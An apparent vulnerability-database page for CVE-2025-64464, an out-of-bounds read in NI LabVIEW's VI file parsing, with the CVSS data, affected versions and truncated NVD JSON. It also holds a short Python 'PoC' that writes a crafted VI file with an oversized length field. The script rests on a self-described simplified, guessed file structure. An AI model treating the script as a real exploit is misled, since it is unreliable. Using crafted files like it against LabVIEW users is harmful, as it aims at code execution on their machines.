Security Vulnerability Report
中文
CVE-2025-64464 CVSS 7.8 HIGH

CVE-2025-64464

Published: 2025-12-18 15:15:58
Last Modified: 2025-12-24 15:11:02

Description

There is an out of bounds read vulnerability in NI LabVIEW in lvre!VisaWriteFromFile() when parsing a corrupted VI file. This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI. This vulnerability affects NI LabVIEW 2025 Q3 (25.3) and prior versions.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ni:labview:2022:q1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch4:*:*:*:*:*:* - VULNERABLE
NI LabVIEW 2025 Q3 (25.3)
NI LabVIEW 25.3 及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct import os def create_malicious_vi(): """ PoC for CVE-2025-64464: Out of Bounds Read in NI LabVIEW lvre!VisaWriteFromFile() This PoC creates a malformed VI file that triggers the vulnerability. """ # VI file header (simplified structure) header = b'VI' # VI file magic number header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', 0x00000000) # Flags # Trigger condition: Malformed VisaWriteFromFile data block # The block contains an oversized length field that causes OOB read block_type = b'VISA' # VISA block identifier # Malicious length value - causes reading beyond buffer boundary malicious_length = 0xFFFFFFFF # Extremely large value block_data = struct.pack('<I', malicious_length) # Padding data to trigger the vulnerability padding = b'A' * 1000 # Excessive padding # Construct the malicious VI file vi_content = header + block_type + block_data + padding # Write the malicious VI file output_file = 'CVE-2025-64464_poc.vi' with open(output_file, 'wb') as f: f.write(vi_content) print(f'[*] Malicious VI file created: {output_file}') print(f'[*] File size: {len(vi_content)} bytes') print(f'[*] Trigger condition: Length field = {hex(malicious_length)}') return output_file if __name__ == '__main__': create_malicious_vi()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64464", "sourceIdentifier": "[email protected]", "published": "2025-12-18T15:15:58.457", "lastModified": "2025-12-24T15:11:02.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is an out of bounds read vulnerability in NI LabVIEW in lvre!VisaWriteFromFile() when parsing a corrupted VI file. This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI. This vulnerability affects NI LabVIEW 2025 Q3 (25.3) and prior versions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q1:*:*:*:*:*:*", "matchCriteriaId": "4D12D6CF-802F-47BA-ADF9-9E52C071BD7F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3:*:*:*:*:*:*", "matchCriteriaId": "340F61E5-D1ED-4C29-A894-8BC5C5B90ACE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch1:*:*:*:*:*:*", "matchCriteriaId": "52CC3023-4913-40BA-B74C-786F32DC7551"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch2:*:*:*:*:*:*", "matchCriteriaId": "FC150E98-5889-4A65-84B8-E4871091D104"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch4:*:*:*:*:*:*", "matchCriteriaId": "85B3D429-4F3D-44CC-9304-837FB6D7E2A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch5:*:*:*:*:*:*", "matchCriteriaId": "1FB7783C-FCB2-4564-98CF-F76F848E8E86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch6:*:*:*:*:*:*", "matchCriteriaId": "82EE4E24-D802-4F6A-82E3-125221C1609C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q1:*:*:*:*:*:*", "matchCriteriaId": "D7DD2022-CFB7-4F38-B459-C1AFB55B5B68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3:*:*:*:*:*:*", "matchCriteriaId": "18AB0B07-72FE-4861-B69D-AD2E87C5382E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch1:*:*:*:*:*:*", "matchCriteriaId": "91928C9C-F094-4EE4-9FBE-2B7956D68E6F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch2:*:*:*:*:*:*", "matchCriteriaId": "044C4B51-C641-41F2-ACA0-834C99D63285"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch3:*:*:*:*:*:*", "matchCriteriaId": "26EEE5E3-AD37-4832-A66C-5F8F7A478F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch4:*:*:*:*:*:*", "matchCriteriaId": "5DC20B17-C582-42C4-9780-5DC61B4AED91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch5:*:*:*:*:*:*", "matchCriteriaId": "329575A0-F12E-478B-9A83-F747D6A161AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch6:*:*:*:*:*:*", "matchCriteriaId": "F25A1816-08CA-4467-8025-AD57562D7C35"}, {"vulnerable": true, ... (truncated)